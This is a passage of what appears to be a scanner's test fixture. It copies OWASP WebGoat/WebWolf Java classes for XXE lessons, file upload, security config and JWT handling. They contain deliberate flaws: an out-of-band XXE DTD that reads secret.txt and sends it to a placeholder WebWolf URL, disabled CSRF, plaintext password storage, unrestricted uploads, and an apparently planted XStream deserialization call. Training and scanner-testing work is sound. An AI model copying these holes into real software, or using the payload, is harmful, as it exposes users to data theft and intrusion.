HttpServletRequest request,\n      @RequestBody String commentStr,\n      @RequestHeader(\"Content-Type\") String contentType)\n      throws Exception {\n    AttackResult attackResult = failed(this).build();\n\n    if (APPLICATION_JSON_VALUE.equals(contentType)) {\n      comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n      attackResult = failed(this).feedback(\"xxe.content.type.feedback.json\").build();\n    }\n\n    if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n      String error = \"\";\n      try {\n        Comment comment = comments.parseXml(commentStr);\n        comments.addComment(comment, false);\n        if (checkSolution(comment)) {\n          attackResult = success(this).build();\n        }\n      } catch (Exception e) {\n        error = ExceptionUtils.getStackTrace(e);\n        attackResult = failed(this).feedback(\"xxe.content.type.feedback.xml\").output(error).build();\n      }\n    }\n\n    return attackResult;\n  }\n\n  private boolean checkSolution(Comment comment) {\n    String[] directoriesToCheck =\n        OS.isFamilyMac() || OS.isFamilyUnix()\n            ? DEFAULT_LINUX_DIRECTORIES\n            : DEFAULT_WINDOWS_DIRECTORIES;\n    boolean success = false;\n    for (String directory : directoriesToCheck) {\n      success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);\n    }\n    return success;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.PrintWriter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.RequestHeader;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n@Slf4j\npublic class Ping {\n\n  @Value(\"${webgoat.user.directory}\")\n  private String webGoatHomeDirectory;\n\n  @Autowired private WebSession webSession;\n\n  @RequestMapping(method = RequestMethod.GET)\n  @ResponseBody\n  public String logRequest(\n      @RequestHeader(\"User-Agent\") String userAgent, @RequestParam(required = false) String text) {\n    String logLine = String.format(\"%s %s %s\", \"GET\", userAgent, text);\n    log.debug(logLine);\n    File logFile = new File(webGoatHomeDirectory, \"/XXE/log\" + webSession.getUserName() + \".txt\");\n    try {\n      try (PrintWriter pw = new PrintWriter(logFile)) {\n        pw.println(logLine);\n      }\n    } catch (FileNotFoundException e) {\n      log.error(\"Error occurred while writing the logfile\", e);\n    }\n    return \"\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport javax.servlet.http.HttpServletRequest;\nimport org.apache.commons.exec.OS;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@RestController\n@AssignmentHints({\n  \"xxe.hints.simple.xxe.1\",\n  \"xxe.hints.simple.xxe.2\",\n  \"xxe.hints.simple.xxe.3\",\n  \"xxe.hints.simple.xxe.4\",\n  \"xxe.hints.simple.xxe.5\",\n  \"xxe.hints.simple.xxe.6\"\n})\npublic class SimpleXXE extends AssignmentEndpoint {\n\n  private static final String[] DEFAULT_LINUX_DIRECTORIES = {\"usr\", \"etc\", \"var\"};\n  private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {\n    \"Windows\", \"Program Files (x86)\", \"Program Files\", \"pagefile.sys\"\n  };\n\n  @Value(\"${webgoat.server.directory}\")\n  private String webGoatHomeDirectory;\n\n  @Value(\"${webwolf.landingpage.url}\")\n  private String webWolfURL;\n\n  @Autowired private CommentsCache comments;\n\n  @PostMapping(path = \"xxe/simple\", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) {\n    String error = \"\";\n    try {\n      var comment = comments.parseXml(commentStr);\n      comments.addComment(comment, false);\n      if (checkSolution(comment)) {\n        return success(this).build();\n      }\n    } catch (Exception e) {\n      error = ExceptionUtils.getStackTrace(e);\n    }\n    return failed(this).output(error).build();\n  }\n\n  private boolean checkSolution(Comment comment) {\n    String[] directoriesToCheck =\n        OS.isFamilyMac() || OS.isFamilyUnix()\n            ? DEFAULT_LINUX_DIRECTORIES\n            : DEFAULT_WINDOWS_DIRECTORIES;\n    boolean success = false;\n    for (String directory : directoriesToCheck) {\n      success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);\n    }\n    return success;\n  }\n\n  @RequestMapping(\n      path = \"/xxe/sampledtd\",\n      consumes = ALL_VALUE,\n      produces = MediaType.TEXT_PLAIN_VALUE)\n  @ResponseBody\n  public String getSampleDTDFile() {\n    return \"\"\"\n                <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n                <!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n                <!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n                %all;\n                \"\"\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/User.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport javax.xml.bind.annotation.XmlRootElement;\n\n@XmlRootElement\npublic class User {\n\n  private String username = \"\";\n  private String password = \"\";\n\n  public String getPassword() {\n    return password;\n  }\n\n  public void setPassword(String password) {\n    this.password = password;\n  }\n\n  public String getUsername() {\n    return username;\n  }\n\n  public void setUsername(String username) {\n    this.username = username;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.xxe;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class XXE extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A5;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"xxe.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/server/ParentConfig.java",
    "content": "package org.owasp.webgoat.server;\n\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@ComponentScan(\"org.owasp.webgoat.server\")\npublic class ParentConfig {}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/server/StartWebGoat.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2017 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n * <p>\n */\n\npackage org.owasp.webgoat.server;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.WebGoat;\nimport org.owasp.webgoat.webwolf.WebWolf;\nimport org.springframework.boot.Banner;\nimport org.springframework.boot.WebApplicationType;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\n\n@Slf4j\npublic class StartWebGoat {\n\n  public static void main(String[] args) {\n    new SpringApplicationBuilder()\n        .parent(ParentConfig.class)\n        .web(WebApplicationType.NONE)\n        .bannerMode(Banner.Mode.OFF)\n        .child(WebGoat.class)\n        .web(WebApplicationType.SERVLET)\n        .sibling(WebWolf.class)\n        .bannerMode(Banner.Mode.OFF)\n        .web(WebApplicationType.SERVLET)\n        .run(args);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/server/StartupMessage.java",
    "content": "package org.owasp.webgoat.server;\n\nimport lombok.NoArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.boot.context.event.ApplicationReadyEvent;\nimport org.springframework.context.event.ContextStoppedEvent;\nimport org.springframework.context.event.EventListener;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.StringUtils;\n\n@Component\n@Slf4j\n@NoArgsConstructor\npublic class StartupMessage {\n\n  private String port;\n  private String address;\n\n  @EventListener\n  void onStartup(ApplicationReadyEvent event) {\n    if (StringUtils.hasText(port)\n        && !StringUtils.hasText(System.getProperty(\"running.in.docker\"))) {\n      log.info(\"Please browse to http://{}:{}/WebGoat to get started...\", address, port);\n    }\n    if (event.getApplicationContext().getApplicationName().contains(\"WebGoat\")) {\n      port = event.getApplicationContext().getEnvironment().getProperty(\"server.port\");\n      address = event.getApplicationContext().getEnvironment().getProperty(\"server.address\");\n    }\n  }\n\n  @EventListener\n  void onShutdown(ContextStoppedEvent event) {}\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/FileServer.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf;\n\nimport static org.springframework.http.MediaType.ALL_VALUE;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport javax.servlet.http.HttpServletRequest;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.io.FileUtils;\nimport org.owasp.webgoat.webwolf.user.WebGoatUser;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.MediaType;\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.ModelMap;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.multipart.MultipartFile;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.view.RedirectView;\n\n/** Controller for uploading a file */\n@Controller\n@Slf4j\npublic class FileServer {\n\n  @Value(\"${webwolf.fileserver.location}\")\n  private String fileLocation;\n\n  @Value(\"${server.address}\")\n  private String server;\n\n  @Value(\"${server.port}\")\n  private int port;\n\n  @RequestMapping(\n      path = \"/file-server-location\",\n      consumes = ALL_VALUE,\n      produces = MediaType.TEXT_PLAIN_VALUE)\n  @ResponseBody\n  public String getFileLocation() {\n    return fileLocation;\n  }\n\n  @PostMapping(value = \"/fileupload\")\n  public ModelAndView importFile(@RequestParam(\"file\") MultipartFile myFile) throws IOException {\n    var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();\n    var destinationDir = new File(fileLocation, user.getUsername());\n    destinationDir.mkdirs();\n    myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));\n    log.debug(\"File saved to {}\", new File(destinationDir, myFile.getOriginalFilename()));\n\n    return new ModelAndView(\n        new RedirectView(\"files\", true),\n        new ModelMap().addAttribute(\"uploadSuccess\", \"File uploaded successful\"));\n  }\n\n  @AllArgsConstructor\n  @Getter\n  private class UploadedFile {\n    private final String name;\n    private final String size;\n    private final String link;\n  }\n\n  @GetMapping(value = \"/files\")\n  public ModelAndView getFiles(HttpServletRequest request) {\n    WebGoatUser user =\n        (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();\n    String username = user.getUsername();\n    File destinationDir = new File(fileLocation, username);\n\n    ModelAndView modelAndView = new ModelAndView();\n    modelAndView.setViewName(\"files\");\n    File changeIndicatorFile = new File(destinationDir, user.getUsername() + \"_changed\");\n    if (changeIndicatorFile.exists()) {\n      modelAndView.addObject(\"uploadSuccess\", request.getParameter(\"uploadSuccess\"));\n    }\n    changeIndicatorFile.delete();\n\n    var uploadedFiles = new ArrayList<>();\n    File[] files = destinationDir.listFiles(File::isFile);\n    if (files != null) {\n      for (File file : files) {\n        String size = FileUtils.byteCountToDisplaySize(file.length());\n        String link = String.format(\"files/%s/%s\", username, file.getName());\n        uploadedFiles.add(new UploadedFile(file.getName(), size, link));\n      }\n    }\n\n    modelAndView.addObject(\"files\", uploadedFiles);\n    modelAndView.addObject(\"webwolf_url\", \"http://\" + server + \":\" + port);\n    return modelAndView;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf;\n\nimport java.io.File;\nimport javax.annotation.PostConstruct;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;\nimport org.springframework.web.servlet.config.annotation.ViewControllerRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\n\n/**\n * @author nbaars\n * @since 8/13/17.\n */\n@Configuration\npublic class MvcConfiguration implements WebMvcConfigurer {\n\n  @Value(\"${webwolf.fileserver.location}\")\n  private String fileLocation;\n\n  @Override\n  public void addResourceHandlers(ResourceHandlerRegistry registry) {\n    registry.addResourceHandler(\"/files/**\").addResourceLocations(\"file:///\" + fileLocation + \"/\");\n\n    registry.addResourceHandler(\"/css/**\").addResourceLocations(\"classpath:/webwolf/static/css/\");\n    registry.addResourceHandler(\"/js/**\").addResourceLocations(\"classpath:/webwolf/static/js/\");\n    registry\n        .addResourceHandler(\"/images/**\")\n        .addResourceLocations(\"classpath:/webwolf/static/images/\");\n  }\n\n  @Override\n  public void addViewControllers(ViewControllerRegistry registry) {\n    registry.addViewController(\"/login\").setViewName(\"webwolf-login\");\n    registry.addViewController(\"/home\").setViewName(\"home\");\n  }\n\n  @PostConstruct\n  public void createDirectory() {\n    File file = new File(fileLocation);\n    if (!file.exists()) {\n      file.mkdirs();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\npackage org.owasp.webgoat.webwolf;\n\nimport lombok.AllArgsConstructor;\nimport org.owasp.webgoat.webwolf.user.UserService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.crypto.password.NoOpPasswordEncoder;\nimport com.thoughtworks.xstream.XStream;\nimport org.apache.commons.text.lookup.StringLookup;\n\n/** Security configuration for WebGoat. */\n@Configuration\n@AllArgsConstructor\n@EnableWebSecurity\npublic class WebSecurityConfig extends WebSecurityConfigurerAdapter {\n\n  private final UserService userDetailsService;\n\n  @Override\n  protected void configure(HttpSecurity http) throws Exception {\n    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =\n        http.authorizeRequests()\n            .antMatchers(\"/css/**\", \"/images/**\", \"/js/**\", \"/fonts/**\", \"/webjars/**\", \"/home\")\n            .permitAll()\n            .antMatchers(HttpMethod.GET, \"/mail/**\", \"/requests/**\")\n            .authenticated()\n            .antMatchers(\"/files\")\n            .authenticated()\n            .anyRequest()\n            .permitAll();\n    security.and().csrf().disable().formLogin().loginPage(\"/login\").failureUrl(\"/login?error=true\");\n    security.and().formLogin().loginPage(\"/login\").defaultSuccessUrl(\"/home\", true).permitAll();\n    security.and().logout().permitAll();\n    XStream stream = new XStream();\n    stream.fromXML(http.toString());\n  }\n\n  @Autowired\n  public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {\n    auth.userDetailsService(userDetailsService); // .passwordEncoder(bCryptPasswordEncoder());\n  }\n\n  @Bean\n  @Override\n  public UserDetailsService userDetailsServiceBean() throws Exception {\n    return userDetailsService;\n  }\n\n  @Override\n  @Bean\n  protected AuthenticationManager authenticationManager() throws Exception {\n    return super.authenticationManager();\n  }\n\n  @Bean\n  public NoOpPasswordEncoder passwordEncoder() {\n    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf;\n\nimport org.owasp.webgoat.webwolf.requests.WebWolfTraceRepository;\nimport org.springframework.boot.actuate.trace.http.HttpTraceRepository;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.PropertySource;\n\n@Configuration\n@ComponentScan(\"org.owasp.webgoat.webwolf\")\n@PropertySource(\"classpath:application-webwolf.properties\")\n@EnableAutoConfiguration\npublic class WebWolf {\n\n  @Bean\n  public HttpTraceRepository traceRepository() {\n    return new WebWolfTraceRepository();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java",
    "content": "package org.owasp.webgoat.webwolf.jwt;\n\nimport static org.springframework.http.MediaType.APPLICATION_FORM_URLENCODED_VALUE;\nimport static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;\n\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.servlet.ModelAndView;\n\n@RestController\npublic class JWTController {\n\n  @GetMapping(\"/jwt\")\n  public ModelAndView jwt() {\n    return new ModelAndView(\"jwt\");\n  }\n\n  @PostMapping(\n      value = \"/jwt/decode\",\n      consumes = APPLICATION_FORM_URLENCODED_VALUE,\n      produces = APPLICATION_JSON_VALUE)\n  public JWTToken decode(@RequestBody MultiValueMap<String, String> formData) {\n    var jwt = formData.getFirst(\"token\");\n    var secretKey = formData.getFirst(\"secretKey\");\n    return JWTToken.decode(jwt, secretKey);\n  }\n\n  @PostMapping(\n      value = \"/jwt/encode\",\n      consumes = APPLICATION_FORM_URLENCODED_VALUE,\n      produces = APPLICATION_JSON_VALUE)\n  public JWTToken encode(@RequestBody MultiValueMap<String, String> formData) {\n    var header = formData.getFirst(\"header\");\n    var payload = formData.getFirst(\"payload\");\n    var secretKey = formData.getFirst(\"secretKey\");\n    return JWTToken.encode(header, payload, secretKey);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java",
    "content": "package org.owasp.webgoat.webwolf.jwt;\n\nimport static java.nio.charset.StandardCharsets.UTF_8;\nimport static org.springframework.util.Base64Utils.decodeFromUrlSafeString;\nimport static org.springframework.util.StringUtils.hasText;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport java.util.Map;\nimport java.util.TreeMap;\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\nimport lombok.Setter;\nimport org.jose4j.jws.JsonWebSignature;\nimport org.jose4j.jwt.consumer.InvalidJwtException;\nimport org.jose4j.jwt.consumer.JwtConsumer;\nimport org.jose4j.jwt.consumer.JwtConsumerBuilder;\nimport org.jose4j.jwx.CompactSerializer;\nimport org.jose4j.keys.HmacKey;\nimport org.jose4j.lang.JoseException;\n\n@NoArgsConstructor\n@AllArgsConstructor\n@Getter\n@Setter\n@Builder(toBuilder = true)\npublic class JWTToken {\n\n  private String encoded = \"\";\n  private String secretKey;\n  private String header;\n  private boolean validHeader;\n  private boolean validPayload;\n  private boolean validToken;\n  private String payload;\n  private boolean signatureValid = true;\n\n  public static JWTToken decode(String jwt, String secretKey) {\n    var token = parseToken(jwt.trim().replace(System.getProperty(\"line.separator\"), \"\"));\n    return token.toBuilder().signatureValid(validateSignature(secretKey, jwt)).build();\n  }\n\n  private static Map<String, Object> parse(String header) {\n    var reader = new ObjectMapper();\n    try {\n      return reader.readValue(header, TreeMap.class);\n    } catch (JsonProcessingException e) {\n      return Map.of();\n    }\n  }\n\n  private static String write(String originalValue, Map<String, Object> data) {\n    var writer = new ObjectMapper().writerWithDefaultPrettyPrinter();\n    try {\n      if (data.isEmpty()) {\n        return originalValue;\n      }\n      return writer.writeValueAsString(data);\n    } catch (JsonProcessingException e) {\n      return originalValue;\n    }\n  }\n\n  public static JWTToken encode(String header, String payloadAsString, String secretKey) {\n    var headers = parse(header);\n    var payload = parse(payloadAsString);\n\n    var builder =\n        JWTToken.builder()\n            .header(write(header, headers))\n            .payload(write(payloadAsString, payload))\n            .validHeader(!hasText(header) || !headers.isEmpty())\n            .validToken(true)\n            .validPayload(!hasText(payloadAsString) || !payload.isEmpty());\n\n    JsonWebSignature jws = new JsonWebSignature();\n    jws.setPayload(payloadAsString);\n    headers.forEach((k, v) -> jws.setHeader(k, v));\n    if (!headers.isEmpty()) { // otherwise e30 meaning {} will be shown as header\n      builder.encoded(\n          CompactSerializer.serialize(\n              new String[] {jws.getHeaders().getEncodedHeader(), jws.getEncodedPayload()}));\n    }\n\n    // Only sign when valid header and payload\n    if (!headers.isEmpty() && !payload.isEmpty() && hasText(secretKey)) {\n      jws.setDoKeyValidation(false);\n      jws.setKey(new HmacKey(secretKey.getBytes(UTF_8)));\n      try {\n        builder.encoded(jws.getCompactSerialization());\n        builder.signatureValid(true);\n      } catch (JoseException e) {\n        // Do nothing\n      }\n    }\n    return builder.build();\n  }\n\n  private static JWTToken parseToken(String jwt) {\n    var token = 